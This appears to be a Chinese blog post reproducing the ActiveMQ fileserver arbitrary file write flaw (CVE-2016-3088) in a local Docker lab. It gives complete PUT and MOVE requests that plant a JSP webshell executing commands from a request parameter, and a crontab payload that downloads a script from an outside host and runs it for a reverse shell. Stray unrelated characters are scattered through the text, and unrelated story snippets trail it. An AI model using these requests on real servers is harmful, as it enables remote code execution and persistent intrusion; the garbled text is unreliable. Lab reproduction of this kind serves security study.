ActiveMQ任意文件寫入漏洞

漏洞背景

CVE-2016-3088戳稽,ActiveMQ<5.12.x容易存在金蜀。

  • 框架介紹:Apache ActiveMQ是Apache軟件基金會所研發(fā)的開放源代碼消息中間件竞惋。
  • 漏洞引入:ActiveMQ的web控制臺分三個應(yīng)用燎潮,admin倔丈、api和fileserver憨闰。其中admin是管理員頁面,api是接口乃沙,admin和api都需要登錄后才能使用起趾;fileserver是一個RESTful API接口,我們可以通過GET警儒、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作眶根,無需登錄蜀铲。fileserver支持寫入文件(但不解析jsp),同時支持移動文件(MOVE請求)属百。所以记劝,我們只需要寫入一個文件,然后使用MOVE請求將其移動到任意位置族扰,造成任意文件寫入漏洞厌丑。ActiveMQ在5.12.x~5.13.x版本中定欧,已經(jīng)默認關(guān)閉了fileserver這個應(yīng)用(可以在conf/jetty.xml中手動開啟);在5.14.0版本以后怒竿,徹底刪除了fileserver應(yīng)用砍鸠。

漏洞特征

漏洞發(fā)現(xiàn):nmap掃端口識別,默認8161
漏洞利用條件

  • 寫入jsp的webshell(需獲取ActiveMQ賬號密碼&絕對路徑)
  • 寫入cron或ssh key等文件(需為root)
  • 寫入jar或jetty.xml等庫和配置文件(需知道activemq的絕對路徑)

本地復現(xiàn)

activemq/CVE-2016-3088耕驰,將8161端口映射出來爷辱。

activemq的目錄如下:

root@5f5b35d61130:/opt/activemq# ls
LICENSE  NOTICE  README.txt  activemq-all-5.11.1.jar  bin  conf  data  docs  examples  lib  tmp  webapps  webapps-demo
root@5f5b35d61130:/opt/activemq# ls webapps
admin  api  favicon.ico  fileserver  images  index.html  styles

姿勢1:寫入webshell

  1. 訪問http://10.154.7.128:28617/admin/test/systemProperties.jsp可使用admin:admin進行登錄,查看ActiveMQ的絕對路徑(activemq.home)為/opt/activemq朦肘。
  2. bp直接上傳webshell(記得修改request method)
PUT /fileserver/1.txt HTTP/1.1
Host: 10.154.7.128:28617
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

返回204則執(zhí)行成功

HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)
  1. 移動到web目錄下的api文件夾中饭弓,同樣需返回204。(記得修改request method)
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
Host: 10.154.7.128:28617
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
  1. 訪問webshell媒抠。http://10.154.7.128:28617/api/shell.jsp

姿勢2:寫入crontab反彈shell

  1. bp上傳(換行需從0d0a改成0a)
PUT /fileserver/1.txt HTTP/1.1
Host: 10.154.7.128:28617
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

* * * * * root curl -o /tmp/1 r.36huo.com/10.154.7.128/53
* * * * * root /bin/bash /tmp/1

反彈是可以的弟断,但因為crontab的問題,環(huán)境變量不會自動讀取趴生。因為題目設(shè)置的docker啟動的環(huán)境變量夫嗓,肯定會作用在docker啟動進程也就是進程1上。所以cat /proc/1/environ可以看到冲秽。

手動修改換行符

2.移動

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: 10.154.7.128:28617
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

3.監(jiān)聽端口反彈成功舍咖。

姿勢3:寫入jetty.xml或jar(待補)

覆蓋jetty.xml,將admin和api的登錄限制去掉锉桑,然后再寫入webshell

總結(jié)

  1. crontab不會缺省從用戶profile文件中讀取環(huán)境變量參數(shù)排霉,解決方式還在研究。民轴。攻柠。。

參考

  • https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末后裸,一起剝皮案震驚了整個濱河市瑰钮,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌微驶,老刑警劉巖浪谴,帶你破解...
    沈念sama閱讀 211,194評論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異因苹,居然都是意外死亡苟耻,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,058評論 2 385
  • 文/潘曉璐 我一進店門扶檐,熙熙樓的掌柜王于貴愁眉苦臉地迎上來凶杖,“玉大人,你說我怎么就攤上這事款筑≈球穑” “怎么了腾么?”我有些...
    開封第一講書人閱讀 156,780評論 0 346
  • 文/不壞的土叔 我叫張陵,是天一觀的道長杈湾。 經(jīng)常有香客問我解虱,道長,這世上最難降的妖魔是什么毛秘? 我笑而不...
    開封第一講書人閱讀 56,388評論 1 283
  • 正文 為了忘掉前任饭寺,我火速辦了婚禮,結(jié)果婚禮上叫挟,老公的妹妹穿的比我還像新娘艰匙。我一直安慰自己,他們只是感情好抹恳,可當我...
    茶點故事閱讀 65,430評論 5 384
  • 文/花漫 我一把揭開白布员凝。 她就那樣靜靜地躺著,像睡著了一般奋献。 火紅的嫁衣襯著肌膚如雪健霹。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,764評論 1 290
  • 那天瓶蚂,我揣著相機與錄音糖埋,去河邊找鬼。 笑死窃这,一個胖子當著我的面吹牛瞳别,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播杭攻,決...
    沈念sama閱讀 38,907評論 3 406
  • 文/蒼蘭香墨 我猛地睜開眼祟敛,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了兆解?” 一聲冷哼從身側(cè)響起馆铁,我...
    開封第一講書人閱讀 37,679評論 0 266
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎锅睛,沒想到半個月后埠巨,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 44,122評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡衣撬,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,459評論 2 325
  • 正文 我和宋清朗相戀三年乖订,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片具练。...
    茶點故事閱讀 38,605評論 1 340
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖甜无,靈堂內(nèi)的尸體忽然破棺而出扛点,到底是詐尸還是另有隱情哥遮,我是刑警寧澤,帶...
    沈念sama閱讀 34,270評論 4 329
  • 正文 年R本政府宣布陵究,位于F島的核電站眠饮,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏铜邮。R本人自食惡果不足惜仪召,卻給世界環(huán)境...
    茶點故事閱讀 39,867評論 3 312
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望松蒜。 院中可真熱鬧扔茅,春花似錦、人聲如沸秸苗。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,734評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽惊楼。三九已至玖瘸,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間檀咙,已是汗流浹背雅倒。 一陣腳步聲響...
    開封第一講書人閱讀 31,961評論 1 265
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留弧可,地道東北人蔑匣。 一個月前我還...
    沈念sama閱讀 46,297評論 2 360
  • 正文 我出身青樓,卻偏偏與公主長得像侣诺,于是被迫代替她去往敵國和親殖演。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 43,472評論 2 348